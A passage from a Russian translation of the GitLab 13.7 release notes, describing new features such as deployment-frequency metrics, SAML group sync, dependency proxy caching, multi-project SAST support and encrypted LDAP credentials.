[Документация по заданию процента трафика для канареечного развёртывания](https://docs.gitlab.com/ee/user/project/canary_deployments.html#how-to-change-the-traffic-weight-on-a-canary-ingress) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/218139).
### Просмотр частоты развёртываний через API
(ULTIMATE, GOLD) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
В этом релизе в рамках первой итерации встроенной в GitLab поддержки [метрик DORA4](https://gitlab.com/groups/gitlab-org/-/epics/4358) была добавлена возможность узнавать частоту развёртываний на уровне проекта через API. Это позволяет отслеживать эффективность развёртывания с течением времени, легко находить узкие места и при необходимости быстро принимать меры по корректировке.
[Документация по аналитике проектов](https://docs.gitlab.com/ee/api/project_analytics.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/279039).
### Поддержка нескольких файлов манифеста в проекте
(PREMIUM, ULTIMATE) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
В предыдущих релизах для использования нашего агента для Kubernetes (GitLab Kubernetes Agent) требовалось, чтобы пользователи собирали все ресурсы Kubernetes в один файл манифеста. Теперь же агент может собирать манифесты Kubernetes рекурсивно из указанных каталогов в вашем проекте. Ваши специалисты по платформе теперь смогут использовать один репозиторий для управления различными кластерами из единого места, а также описывать крупные развёртывания с помощью одного агента.
[Документация по настройке репозитория с агентом Kubernetes](https://docs.gitlab.com/ee/user/clusters/agent/repository.html) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/259669).
### Импорт требований из внешних инструментов
(ULTIMATE, GOLD) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Для эффективной совместной работы очень важно, чтобы все ваши требования хранились в одном месте, поэтому мы рады сообщить, что теперь вы можете импортировать требования из [CSV-файлов](https://ru.wikipedia.org/wiki/CSV)!
Благодаря этой фиче вы сможете всей командой работать над требованиями в GitLab, и в то же время с лёгкостью взаимодействовать с клиентами, поставщиками и внешними организациями. Следите за обновлениями о будущих улучшениях [экспорта требований](https://gitlab.com/groups/gitlab-org/-/epics/4523).
[Документация по импорту требований из CSV-файла](https://docs.gitlab.com/ee/user/project/requirements/index.html#import-requirements-from-a-csv-file) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/246857).
### Несколько конечных точек HTTP для оповещений
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: Monitor](https://about.gitlab.com/stages-devops-lifecycle/monitor/)
Интеграции оповещений являются критически важной частью ваших рабочих процессов по управлению инцидентами, поэтому важно иметь точный контроль над конечными точками и токенами аутентификации. Меньше всего вам нужно, чтобы все ваши оповещения перестали работать из-за смены одного токена аутентификации. Настройка конечной точки HTTP для каждого инструмента мониторинга позволит вашей команде управлять каждым инструментом в отдельности, не влияя на оповещения от других инструментов.
[Документация по конечным точкам для оповещений](https://docs.gitlab.com/ee/operations/incident_management/alert_integrations.html#http-endpoints) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4442).
### Синхронизация групп на GitLab.com с помощью SAML
(SILVER, GOLD) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
В GitLab 13.7 вы можете привязать группу в вашем поставщике учётных записей к группе на GitLab.com с помощью SAML. Членство в группе будет обновляться, когда пользователь войдёт в учётную запись GitLab через своего провайдера SAML. Эта фича снижает необходимость в ручном назначении групп, что снижает загрузку по группам для администраторов GitLab. Синхронизация групп также улучшает адаптацию новых членов групп, избавляя их от необходимости запрашивать доступ у администраторов групп GitLab.
[Документация по синхронизации групп с помощью SAML](https://docs.gitlab.com/ee/user/group/saml_sso/#group-sync) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4675).
Другие улучшения в GitLab 13.7
------------------------------
### DevOps Adoption
(ULTIMATE) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
DevOps Adoption показывает вам, какие команды в вашей организации используют тикеты, мерж-реквесты, подтверждения, обработчики заданий, конвейеры, развёртывания и сканирования в GitLab. Используйте также новую фичу «сегменты», чтобы собрать ваши группы GitLab в логические единицы в рамках вашей организации, чтобы вы могли сравнивать, как используют GitLab среди нескольких разных групп.
* Убедитесь, что вы получаете ожидаемую отдачу от использования GitLab.
* Узнайте, какие группы отстают во внедрении GitLab, и помогайте им с настройкой DevOps.
* Узнайте, какие группы используют определённые фичи, такие как конвейеры, и могут поделиться своим опытом с другими группами, которые хотят начать ими пользоваться.
[Документация по DevOps Adoption](https://docs.gitlab.com/ee/user/admin_area/analytics/dev_ops_report#devops-adoption) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/247112).
### Улучшенный пользовательский интерфейс для создания проектов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
С улучшенным пользовательским интерфейсом для добавления проекта вам будет проще выбрать между созданием пустого проекта, проекта из шаблона, импортом проекта и созданием проекта CI/CD для внешних репозиториев.
[Документация по созданию проектов](https://docs.gitlab.com/ee/gitlab-basics/create-project.html#create-a-project-in-gitlab) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/210599).
### Ограничение создания проектов и групп для внешних аккаунтов
(PREMIUM, ULTIMATE, SILVER, GOLD) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Для снижения риска случайного раскрытия интеллектуальной собственности администраторы GitLab теперь имеют больший контроль над аккаунтами, предоставляемыми через интеграцию группы с помощью SAML или SCIM. В первой итерации этой фичи администраторы могут запрещать своим пользователям создавать группы или проекты вне групп, к которым они принадлежат.
[Документация по настройкам пользователя через SAML](https://docs.gitlab.com/ee/user/group/saml_sso/index.html#configure-user-settings-from-saml-response) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/263661).
### Сортировка по числу блокируемых тикетов
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
При сортировке списка тикетов в GitLab часто бывает важно определить, какие из них необходимо выполнить наиболее срочно, и блокируют ли они другие тикеты.
Ранее в списке тикетов было невозможно посмотреть, какие из тикетов блокируют другие. Единственный способ это сделать — это открыть каждый из них и просмотреть [список блокируемых тикетов](https://gitlab.com/gitlab-org/gitlab/issues/2035) под описанием тикета, что занимает очень много времени.
В версии 13.7 вы можете использовать фильтр «Блокирует другие тикеты» для списка тикетов, чтобы отсортировать его по числу блокируемых тикетов.
[Документация по сортировке](https://docs.gitlab.com/ee/user/project/issues/sorting_issue_lists.html#sorting-by-blocking-issues) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/34247).
### Просмотр файлов в мерж-реквестах по одному
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Ревью мерж-реквестов — это важнейшая задача для обеспечения качества кода всех участников, так как именно здесь происходит большая часть обсуждений между автором и ревьюером. Однако, по мере того, как мерж-реквесты становятся крупнее и число файлов в них увеличивается, навигация и производительность диффов могут ухудшаться.
В GitLab 13.7 мы добавили возможность просматривать файлы по одному при просмотре мерж-реквеста. При переходе на вкладку мерж-реквеста **Изменения** кликните на иконку с шестерёнками и поставьте галочку **Показывать файлы по одному**. После выбора этого параметра вы сможете просматривать файлы по одному, переключаясь между ними при помощи кнопок **Предыдущий** и **Следующий**.
В этом режиме ваше рабочее пространство выглядит менее перегруженным, и вам проще сосредоточиться на одном файле. Кроме того, при этом повышается производительность и улучшается навигация по диффу мерж-реквеста.
[Документация по ревью и управлению мерж-реквестами](https://docs.gitlab.com/ee/user/project/merge_requests/reviewing_and_managing_merge_requests.html#file-by-file-diff-navigation) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/233898).
### Просмотр изменений мерж-реквеста в VS Code
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
При ревью мерж-реквестов в VS Code для обращения к изменениям зачастую приходится делать checkout ветки и затем пытаться разобраться в диффе между этой веткой и целевой веткой мержа.
С релизом [3.7.0](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/blob/main/CHANGELOG.md#370-2020-12-08) расширения [GitLab Workflow](https://marketplace.visualstudio.com/items?itemName=GitLab.gitlab-workflow) изменения мерж-реквеста стали доступны напрямую в VS Code. Это позволяет быстро просматривать изменения в мерж-реквестах ваших проектов.
В рамках работы над добавлением полноценного [ревью кода в VS Code](https://gitlab.com/groups/gitlab-org/-/epics/4607) следующим шагом мы собираемся добавить [комментарии к диффам](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/266).
[Документация по расширению для VS Code](https://gitlab.com/gitlab-org/gitlab-vscode-extension#sidebar-details) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab-vscode-extension/-/issues/263).
### Улучшенное скачивание артефактов для вложенных конвейеров
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Ранее при скачивании артефактов из родительского конвейера во вложенный не всегда можно было получить нужные артефакты. Если два вышестоящих конвейера были запущены примерно в одно время, то вложенный конвейер мог скачать артефакты и из более нового конвейера.
Теперь вы можете использовать новый синтаксис `needs:pipeline`, чтобы указать вложенному конвейеру, из какого конвейера ему нужно скачивать артефакты. Вы можете использовать его, чтобы скачивать артефакты из родительского конвейера или из другого вложенного конвейера в рамках той же иерархии.
[Документация по скачиванию артефактов для вложенных конвейеров](https://docs.gitlab.com/ee/ci/yaml/#artifact-downloads-to-child-pipelines) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/255983).
### Обход ограничений Docker и ускорение конвейеров
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Для более быстрых и надёжных сборок вы можете использовать нашу фичу, прокси зависимостей, для кэширования образов контейнеров из Docker Hub. Однако, когда Docker начал применять [`ограничения по количеству запросов docker pull`](https://about.gitlab.com/blog/2020/10/30/mitigating-the-impact-of-docker-hub-pull-requests-limits/), вы могли заметить, что даже когда ваш образ скачивался из кэша, Docker всё равно засчитывал его в лимит. Это происходило потому, что прокси зависимостей кэшировал только слои (или блоб-объекты) образа, но не манифест, который содержит информацию о том, как собрать данный образ. Так как манифест был необходим для сборки, всё равно приходилось выполнять pull. А если Docker Hub был недоступен, вы не могли скачать нужный образ.
Начиная с этого релиза прокси зависимостей будет кэшировать и слои, и манифест образа. Так что при первом скачивании с использованием `alpine:latest` образ будет добавлен в кэш прокси зависимостей, и это будет считаться за один pull. В следующий раз, когда вы будете скачивать `alpine:latest`, всё будет скачиваться из кэша, даже если Docker Hub недоступен, и это скачивание не будет учитываться в лимите Docker.
Напоминаем вам, что начиная с 13.6 [прокси зависимостей стал доступен в плане Core](https://habr.com/ru/post/531934/#proksi-zavisimostey-teper-s-otkrytym-ishodnym-kodom). Поэтому попробуйте эту фичу сейчас и скажите нам, что вы о ней думаете. Или даже лучше, помогите нам с открытыми [тикетами](https://gitlab.com/groups/gitlab-org/-/issues?scope=all&utf8=%E2%9C%93&state=opened&label_name%5B%5D=devops%3A%3Apackage&label_name%5B%5D=Category%3ADependency%20Proxy).
[Документация по прокси зависимостей](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#docker-hub-rate-limits-and-the-dependency-proxy) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/241639).
### Быстрый поиск и просмотр общих пакетов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Вы можете с лёгкостью публиковать общие файлы, такие как бинарные файлы релиза, через реестр пакетов GitLab. Однако, если вы используете пользовательский интерфейс пакетов или другой формат менеджера пакетов, то возможно вы заметили, что не можете выбрать вкладку для быстрого просмотра только ваших общих пакетов.
Недавно мы добавили в пользовательский интерфейс пакетов вкладку **Общие пакеты**, чтобы вы могли отфильтровать список пакетов для просмотра только общих пакетов. Мы надеемся, что это поможет вам находить и проверять ваши пакеты более быстро и эффективно.
[Документация по просмотру пакетов](https://docs.gitlab.com/ee/user/packages/package_registry/#view-packages) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/277160).
### Прокси зависимостей для приватных проектов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Вы можете использовать прокси зависимостей GitLab для проксирования и кэширования образов контейнеров из Docker Hub. До последнего времени эта фича была доступна только для публичных групп, что не позволяло многим пользователям её использовать.
Теперь вы можете использовать прокси зависимостей и для приватных проектов. Вы можете снизить свои скачивания с Docker Hub путём кэширования ваших образов контейнера для использования их в будущем. Так как прокси зависимостей хранит образы Docker в пространстве, связанном с вашей группой, вы должны авторизоваться с вашим логином и паролем GitLab или с личным токеном доступа, для которого есть разрешение как минимум на чтение (`read_registry`).
[Документация по прокси зависимостей](https://docs.gitlab.com/ee/user/packages/dependency_proxy/index.html#authenticate-with-the-dependency-proxy) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/11582).
### Улучшенная поддержка анализаторов SAST для нескольких проектов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
В GitLab [сканирования безопасности](https://docs.gitlab.com/ee/user/application_security/#security-scanning-tools) автоматически определяют язык кода и запускают подходящие анализаторы. В случае монорепозиториев, микросервисов и репозиториев для нескольких проектов в одном репозитории GitLab может существовать больше одного проекта. Ранее наши инструменты безопасности могли определять язык кода только в одиночных проектах в репозиториях. Начиная с этого релиза наши анализаторы SAST могут [определять языки кода в репозиториях с несколькими проектами, запускать подходящие сканирования](https://docs.gitlab.com/ee/user/application_security/sast/#supported-languages-and-frameworks) для каждого проекта и составлять отчёт о уязвимостях. Это делает
управление инструментами безопасности проще и удобнее для пользователей с одним репозиторием для нескольких проектов. В [следующих релизах](https://gitlab.com/gitlab-org/gitlab/-/issues/219937) мы продолжим улучшать панель безопасности и отчёты для этих типов проектов.
[Документация по поддержке репозиториев для нескольких проектов](https://docs.gitlab.com/ee/user/application_security/sast/#multi-project-support) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4895).
### Описание релиза во внешнем файле
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
Если вы [`создаёте релизы в конвейерах через файл .gitlab-ci.yml` вашего проекта](https://docs.gitlab.com/ee/ci/yaml/#releaser-cli-command-line), вам, возможно, было сложно поддерживать в актуальном состоянии описание каждого релиза. В релизе GitLab 13.7 вы можете задавать описание вашего релиза в файле с контролем версий или в автоматически генерируемом файле и вызывать его из `.gitlab-ci.yml`. При этом содержимое файла загружается в описание релиза в формате Markdown. Это упрощает создание, поддержку и использование контроля версий для релизов, а также будет особенно полезно при автогенерации лога изменений. Огромное спасибо [Nejc Habjan](https://gitlab.com/nejch1) и Siemens за этот невероятный вклад!
[Документация по описаниям релизов](https://docs.gitlab.com/ee/ci/yaml/#releasedescription) и [оригинальный тикет](https://gitlab.com/gitlab-org/release-cli/-/issues/14).
### Поддержка для версий Kubernetes 1.17, 1.18 и 1.19
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Configure](https://about.gitlab.com/stages-devops-lifecycle/configure/)
Поддержка GitLab для последних версий Kubernetes позволяет вам пользоваться преимуществами интеграций GitLab с Kubernetes, такими как GitLab Kubernetes Agent, Auto DevOps и — на более поздних кластерах — GitLab Managed Apps. В этом релизе GitLab добавил официальную поддержку для версий Kubernetes [1.17, 1.18 и 1.19](https://docs.gitlab.com/ee/user/project/clusters/#supported-cluster-versions).
[Документация по кластерам](https://docs.gitlab.com/ee/user/project/clusters/#supported-cluster-versions) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/292258).
### Geo поддерживает репликацию сниппетов
(PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement/)
Geo теперь поддерживает репликацию [сниппетов под контролем версий](https://docs.gitlab.com/ee/user/snippets.html#versioned-snippets) на вторичные ноды, что позволит распределённым командам получать доступ к ним с ближайшей ноды Geo, что снижает задержку и делает весь процесс удобнее. Кроме того, эти данные могут быть восстановлены со вторичной ноды при переключении на неё в случае сбоя.
В данный момент мы [не поддерживаем верификацию](https://docs.gitlab.com/ee/administration/geo/replication/datatypes.html#limitations-on-replicationverification) для этого типа данных, но мы планируем добавить её в будущем.
[Документация по репликации Geo](https://docs.gitlab.com/ee/administration/geo/replication/datatypes.html) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/2809).
### Поддержка зашифрованных учётных данных LDAP
(CORE, STARTER, PREMIUM, ULTIMATE) [Доступность](https://about.gitlab.com/handbook/engineering/development/enablement/)
GitLab использует единый файл конфигурации, например `gitlab.rb` в Omnibus GitLab, что упрощает настройку всех связанных сервисов. В этот файл конфигурации включены некоторые секретные ключи, например учётные данные для аутентификации на сервере LDAP. Хотя для доступа к этому файлу требуются специальные права, хорошей практикой считается отделять секретные ключи от конфигурации.
Установки Omnibus GitLab и Source теперь поддерживают [зашифрованные учётные данные](https://docs.gitlab.com/ee/administration/encrypted_configuration.html), причём первыми поддерживаемыми учётными данными стали LDAP. Это снижает уязвимость конфигурационного файла GitLab, а также помогает достичь соответствия требованиям заказчика.
[Документация по настройке зашифрованных учётных данных LDAP](https://docs.gitlab.com/ee/administration/auth/ldap/index.html#using-encrypted-credentials) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/238483).
### Веб-хуки при добавлении новых участников группы
(STARTER, PREMIUM, ULTIMATE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Теперь в GitLab стало проще автоматизировать управление пользователями: это можно сделать с помощью веб-хука, который запускается при добавлении нового участника в группу. Раньше вам приходилось выполнять запросы REST для идентификации новых членов группы, что ухудшало производительность вашего инстанса GitLab.
[Документация по веб-хукам](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#member-events) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/260347).
### Улучшенная фильтрация и сортировка списков участников группы
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Мы продолжили улучшать наш список участников группы и добавили для него новые возможности фильтрации и сортировки. Это поможет администраторам группы быстро находить нужную им информацию. Например, сортировку по «последнему времени входа» (“Last sign-in”) можно использовать для поиска пользователей, которые в последнее время не заходили на GitLab, и для помощи в управлении лицензиями.
[Документация по фильтрации и сортировке участников группы](https://docs.gitlab.com/ee/user/group/#filter-and-sort-members-in-a-group) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/228675).
### Автоматическая подготовка профиля пользователя с SAML
(SILVER, GOLD) [Стадия цикла DevOps: Manage](https://about.gitlab.com/stages-devops-lifecycle/manage/)
Раньше в качестве одной из частей включения в группу с SAML пользователям нужно было заполнять форму регистрации. В GitLab 13.7 мы представляем синхронизацию пользователей для групп с использованием SAML. Когда пользователь в первый раз входит в группу с SAML, учётная запись пользователя создаётся для него автоматически, если нет существующего пользователя с таким же адресом электронной почты. Автоматическая подготовка с SAML улучшает процесс адаптации новых пользователей и гарантирует, что вновь созданные учётные записи содержат правильную информацию.
[Документация по настройке групп с SAML](https://docs.gitlab.com/ee/user/group/saml_sso/#user-access-and-management) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/268142).
### Настраиваемый адрес электронной почты для службы поддержки
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Plan](https://about.gitlab.com/stages-devops-lifecycle/plan/)
Раньше вашим пользователям было трудно запомнить (а следовательно, и использовать) адрес электронной почты службы поддержки GitLab. С введением настраиваемого адреса электронной почты теперь можно выбрать суффикс адреса, который имеет смысл для вашей компании и который будет легче запомнить вашим пользователям. Это ещё один шаг, который нужен для того, чтобы вы могли предоставлять своим пользователям качественную поддержку.
[Документация по настройке адреса электронной почты для службы поддержки](https://docs.gitlab.com/ee/user/project/service_desk.html#using-custom-email-address) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/2201).
### Различайте изменения форматирования и правки, сделанные из редактора статических сайтов
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Create](https://about.gitlab.com/stages-devops-lifecycle/create/)
Редактор статических сайтов предлагает интуитивно понятный и знакомый всем режим редактирования WYSIWYG для контента Markdown. Чтобы обеспечить единообразный формат вывода Markdown, редактор WYSIWYG автоматически переформатирует содержимое страницы в соответствии с соглашениями о стилях, определёнными в парсере Markdown. Это происходит полностью в фоновом режиме ещё до того, как вы начнёте редактировать. Однако эти изменения форматирования коммитятся вместе с вашими изменениями содержимого. Если страница, которую вы редактируете, не следовала тем же соглашениям о стилях, для проверяющих итогового мерж-реквеста может быть сложно отличить ваши изменения от автоматического форматирования.
Начиная с GitLab 13.7 редактор статических сайтов автоматически исправляет несоответствия в синтаксисе Markdown и коммитит все необходимые изменения форматирования в новой ветке. По завершении редактирования кнопка «Опубликовать» создаёт отдельный коммит, содержащий только ваши изменения. Это может сэкономить время проверяющим изменения, которые вместо того, чтобы продираться через изменения синтаксиса, смогут сосредоточиться на вашем контенте.
В будущем мы планируем сделать параметры форматирования настраиваемыми, так что следите за новостями в [соответствующем тикете](https://gitlab.com/gitlab-org/gitlab/-/issues/244483).
[Документация по редактору статических сайтов](https://docs.gitlab.com/ee/user/project/static_site_editor/#how-it-works) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/277083).
### Предзаполненные переменные при ручном запуске конвейеров
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Verify](https://about.gitlab.com/stages-devops-lifecycle/verify/)
Раньше, когда вы хотели запустить конвейер вручную, вам нужно было узнать нужные переменные, а затем ввести их на странице «Запуск конвейера» (“Run Pipeline”). Это может быть утомительно и чревато ошибками, если нужно ввести множество пар ключ-значение. Теперь форма для запуска конвейера будет сгенерирована для вашего конвейера с переменными, предварительно заполненными на основе определений переменных в вашем файле `.gitlab-ci.yml`, что сделает этот процесс более эффективным.
[Документация по ручному запуску конвейера](https://docs.gitlab.com/ee/ci/pipelines/#run-a-pipeline-manually) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/30101).
### Собранные с помощью CI/CD пакеты всегда отображают информацию о сборке
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
Если вы публиковали пакеты в реестре пакетов, то могли заметить, что пакеты, созданные с помощью GitLab CI/CD, не всегда отображали коммит и конвейер, ответственные за создание или обновление вашего пакета. Это могло происходить по нескольким причинам.
Во-первых, возможно, мы ещё не поддерживали эту функцию, как в случае с [Composer](https://gitlab.com/gitlab-org/gitlab/-/issues/254385) и [Conan](https://gitlab.com/gitlab-org/gitlab/-/issues/234002). Во-вторых, проблема возникала у тех из вас, кто обновлял одну и ту же версию пакета из разных веток или коммитов. Однако до недавнего времени пользовательский интерфейс отображал только первое развёртывание без каких-либо обновлений. Кроме того, на странице подробных сведений отображается ветка, в которой был создан пакет, а не самый последний коммит. В результате вам приходилось искать эту информацию, просматривая историю коммитов, что было не очень эффективно.
В дальнейшем любой пакет, собранный или обновлённый с помощью GitLab CI/CD, будет отображать информацию о коммите и конвейере в пользовательском интерфейсе пакетов. Чтобы избежать проблем с производительностью или пользовательским интерфейсом, будут отображаться только пять обновлений пакета. В майлстоуне 13.8 мы создадим [дизайн, который поможет вам легко просматривать все данные, включая историю](https://gitlab.com/gitlab-org/gitlab/-/issues/292215). А пока вы можете использовать [API пакетов](https://docs.gitlab.com/ee/api/packages.html#get-a-project-package), чтобы смотреть всю историю сборки данного пакета.
[Документация по реестру пакетов и сборке пакетов с помощью GitLab CI/CD](https://docs.gitlab.com/ee/user/packages/package_registry/#use-gitlab-cicd-to-build-packages) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/239518).
### Используйте предопределённые переменные с прокси зависимостей
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Package](https://about.gitlab.com/stages-devops-lifecycle/package/)
С помощью проксирования и кэширования образов контейнеров из Docker Hub прокси зависимостей помогает вам повысить производительность ваших конвейеров. Несмотря на то, что прокси-сервер предназначен для интенсивного использования с CI/CD, для использования этой фичи вам нужно было определить свои собственные переменные или прописать значения в вашем файле `gitlab.ci-yml`. Это затрудняло начало работы для тех, кто работает один, и не позволяло использовать его в качестве масштабируемого решения, особенно для организаций с множеством различных групп и проектов.
В дальнейшем вы можете использовать [предопределённые переменные окружения](https://docs.gitlab.com/ee/ci/variables/predefined_variables.html) в качестве интуитивно понятного способа для прокси зависимостей. Поддерживаются следующие переменные:
* `CI_DEPENDENCY_PROXY_USER`: пользователь CI для входа в прокси зависимостей,
* `CI_DEPENDENCY_PROXY_PASSWORD`: пароль для входа в прокси зависимостей,
* `CI_DEPENDENCY_PROXY_SERVER`: сервер для входа в прокси зависимостей,
* `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX`: префикс образа для извлечения образов через прокси зависимостей.
Попробуйте и дайте нам знать, что вы думаете!
[Документация по аутентификации в прокси зависимостей с помощью CI/CD](https://docs.gitlab.com/ee/user/packages/dependency_proxy/#authenticate-within-cicd) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/280582).
### Результаты сканирований безопасности в виджете мерж-реквеста стали удобнее
(CORE, STARTER, PREMIUM, FREE, BRONZE, SILVER) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
С помощью [SAST и поиска секретных ключей, которые теперь доступны для всех пользователей](https://habr.com/ru/post/518382/#analizatory-bezopasnosti-sast-dostupny-dlya-vseh), мы упростили жизнь всем пользователям GitLab, [взаимодействующим с результатами сканирования безопасности](https://docs.gitlab.com/ee/user/application_security/#interacting-with-the-vulnerabilities) в мерж-реквесте, за счёт облегчения доступа к [результатам сканирования безопасности](https://docs.gitlab.com/ee/user/application_security/#security-scanning-tools). Ранее результаты сканирования безопасности были доступны только на странице [Обзор конвейера](https://docs.gitlab.com/ee/ci/pipelines/job_artifacts.html#downloading-artifacts), и вы должны были знать, где искать, чтобы найти их там. Теперь все мерж-реквесты будут показывать, были ли для них запущены проверки безопасности, и помогут вам найти артефакты задания. Это изменение [не затрагивает работу с мерж-реквестами для пользователей плана Ultimate](https://docs.gitlab.com/ee/user/application_security/sast/#summary-of-features-per-tier).
[Документация по просмотру результатов сканирования безопасности в мерж-реквесте](https://docs.gitlab.com/ee/user/application_security/#viewing-security-scan-information-in-merge-requests) и [оригинальный эпик](https://gitlab.com/groups/gitlab-org/-/epics/4393).
### Специальные ссылки на уязвимости
(ULTIMATE, GOLD) [Стадия цикла DevOps: Secure](https://about.gitlab.com/stages-devops-lifecycle/secure/)
Мы ввели уязвимости как полноценные объекты в 12.10. Будучи объектом, каждая из них имеет уникальный URL-адрес, позволяющий напрямую перейти к деталям любой уязвимости. Несмотря на значительное улучшение видимости и согласованности, ссылки на уязвимости в тикетах и эпиках (в русской локализации GitLab «цели») всё равно нужно копировать вручную в виде ссылок Markdown. Это делает неэффективным совместное использование, а ссылки на уязвимости в других областях GitLab более громоздкими, чем для других объектов, например тикетов.
Теперь на уязвимости можно ссылаться с помощью специальных ссылок. На них впервые будет опробован новый синтаксис `[object_type:ID]`, который в конечном итоге распространится на другие существующие ссылки. Теперь вы можете быстро вставить ссылку на уязвимость из любого места, где обычно используется специальная ссылка, например из описания тикета или мерж-реквеста. Просто введите `[vulnerability:123]` в описании тикета, чтобы вставить ссылку на уязвимость с идентификатором 123 в том же проекте. Вы также можете добавить к идентификатору префикс пространства имён или проекта, чтобы ссылаться на уязвимости вне контекста текущего проекта.
[Документация по специальным ссылкам](https://docs.gitlab.com/ee/user/markdown.html#special-gitlab-references) и [оригинальный тикет](https://gitlab.com/gitlab-org/gitlab/-/issues/222483).
### Смотрите, какие коммиты и конвейеры выполняются в форке, а какие в родительском проекте
(CORE, STARTER, PREMIUM, ULTIMATE, FREE, BRONZE, SILVER, GOLD) [Стадия цикла DevOps: Release](https://about.gitlab.com/stages-devops-lifecycle/release/)
После того, как мы решили проблему, описанную в [тикете 217451](https://gitlab.com/gitlab-org/gitlab/-/issues/217451) в GitLab 13.3, вы получили возможность разрешать разработчикам родительского проекта создавать конвейеры для мерж-реквестов в форках. Однако не было никакого способа узнать контекст, в котором был запущен конвейер.
